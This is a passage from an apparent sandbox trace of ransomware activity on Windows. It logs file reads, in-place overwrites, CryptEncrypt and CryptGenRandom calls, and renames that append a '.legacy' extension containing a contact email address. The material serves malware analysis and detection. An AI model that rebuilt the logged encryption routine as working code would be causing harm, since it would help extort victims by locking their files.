lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.188] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x523, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x523, lpOverlapped=0x0) returned 1 [0197.188] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x523 [0197.188] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.188] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.189] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.189] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.189] CloseHandle (hObject=0x1c24) returned 1 [0197.190] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0197.190] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.191] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_TapsEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.191] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4e7, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4e7, lpOverlapped=0x0) returned 1 [0197.202] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1255, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.202] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4e7, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4e7, lpOverlapped=0x0) returned 1 [0197.202] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4e7 [0197.203] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.203] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.203] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.203] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.203] CloseHandle (hObject=0x1c24) returned 1 [0197.205] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0197.205] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.205] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_TapAndDrag.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.206] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4e2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4e2, lpOverlapped=0x0) returned 1 [0197.207] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1250, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.207] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4e2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4e2, lpOverlapped=0x0) returned 1 [0197.207] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4e2 [0197.207] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.207] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.208] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.208] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.208] CloseHandle (hObject=0x1c24) returned 1 [0197.210] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0197.210] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.210] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_SetScrollDirection.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.210] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x50a, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x50a, lpOverlapped=0x0) returned 1 [0197.211] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1290, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.211] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x50a, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x50a, lpOverlapped=0x0) returned 1 [0197.212] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x50a [0197.212] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.212] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.212] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.212] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.213] CloseHandle (hObject=0x1c24) returned 1 [0197.213] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_SetScrollDirection.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_input_touch_setscrolldirection.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_SetScrollDirection.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_input_touch_setscrolldirection.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.215] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0197.215] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3538 | out: pbBuffer=0x5c3538) returned 1 [0197.215] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_SetActivationTimeout.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.215] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x514, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x514, lpOverlapped=0x0) returned 1 [0197.217] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1300, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.217] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x514, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x514, lpOverlapped=0x0) returned 1 [0197.217] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x514 [0197.217] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.217] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.218] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.218] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3538*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3538*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.218] CloseHandle (hObject=0x1c24) returned 1 [0197.218] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_SetActivationTimeout.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_input_touch_setactivationtimeout.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_SetActivationTimeout.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_input_touch_setactivationtimeout.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.220] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0197.220] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.220] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_RightClickZoneEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.221] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x519, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x519, lpOverlapped=0x0) returned 1 [0197.222] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1305, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.222] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x519, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x519, lpOverlapped=0x0) returned 1 [0197.223] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x519 [0197.223] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.223] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.223] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.224] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.225] CloseHandle (hObject=0x1c24) returned 1 [0197.225] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_RightClickZoneEnabled.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_input_touch_rightclickzoneenabled.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_RightClickZoneEnabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_input_touch_rightclickzoneenabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.231] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0197.231] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3478 | out: pbBuffer=0x5c3478) returned 1 [0197.231] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_PanEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.232] ReadFile (in: hFile=0x1c24, lpBuffer=0x30f68c0, nNumberOfBytesToRead=0x4e2, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30f68c0*, lpNumberOfBytesRead=0x2e1f9bc*=0x4e2, lpOverlapped=0x0) returned 1 [0197.241] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1250, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.241] WriteFile (in: hFile=0x1c24, lpBuffer=0x619440*, nNumberOfBytesToWrite=0x4e2, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4e2, lpOverlapped=0x0) returned 1 [0197.242] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4e2 [0197.242] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.242] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.242] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.243] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3478*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3478*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.243] CloseHandle (hObject=0x1c24) returned 1 [0197.243] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_PanEnabled.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_input_touch_panenabled.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_PanEnabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_input_touch_panenabled.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.245] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0197.245] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.245] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_LeaveOnWithMouse.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.245] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x500, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x500, lpOverlapped=0x0) returned 1 [0197.251] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1280, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.251] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x500, lpOverlapped=0x0) returned 1 [0197.252] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x500 [0197.252] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.252] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.252] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.252] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0197.253] CloseHandle (hObject=0x1c24) returned 1 [0197.253] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_LeaveOnWithMouse.settingcontent-ms" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_input_touch_leaveonwithmouse.settingcontent-ms"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_LeaveOnWithMouse.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\localstate\\indexed\\settings\\en-us\\aaa_systemsettings_input_touch_leaveonwithmouse.settingcontent-ms.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0197.254] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0197.254] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0197.255] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\windows.immersivecontrolpanel_cw5n1h2txyewy\\LocalState\\Indexed\\Settings\\en-US\\AAA_SystemSettings_Input_Touch_FourFingerTapEnabled.settingcontent-ms", dwFileAttributes=0x80) returned 1 [0197.255] ReadFile (in: hFile=0x1c24, lpBuffer=0x619440, nNumberOfBytesToRead=0x514, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x619440*, lpNumberOfBytesRead=0x2e1f9bc*=0x514, lpOverlapped=0x0) returned 1 [0197.256] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=-1300, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0197.256] WriteFile (in: hFile=0x1c24, lpBuffer=0x3562008*, nNumberOfBytesToWrite=0x514, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3562008*, lpNumberOfBytesWritten=0x2e1f9bc*=0x514, lpOverlapped=0x0) returned 1 [0197.257] SetFilePointer (in: hFile=0x1c24, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x514 [0197.257] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0197.257] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0197.257] WriteFile (in: hFile=0x1c24, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0197.257] WriteFile (in: hFile=0x1c24, 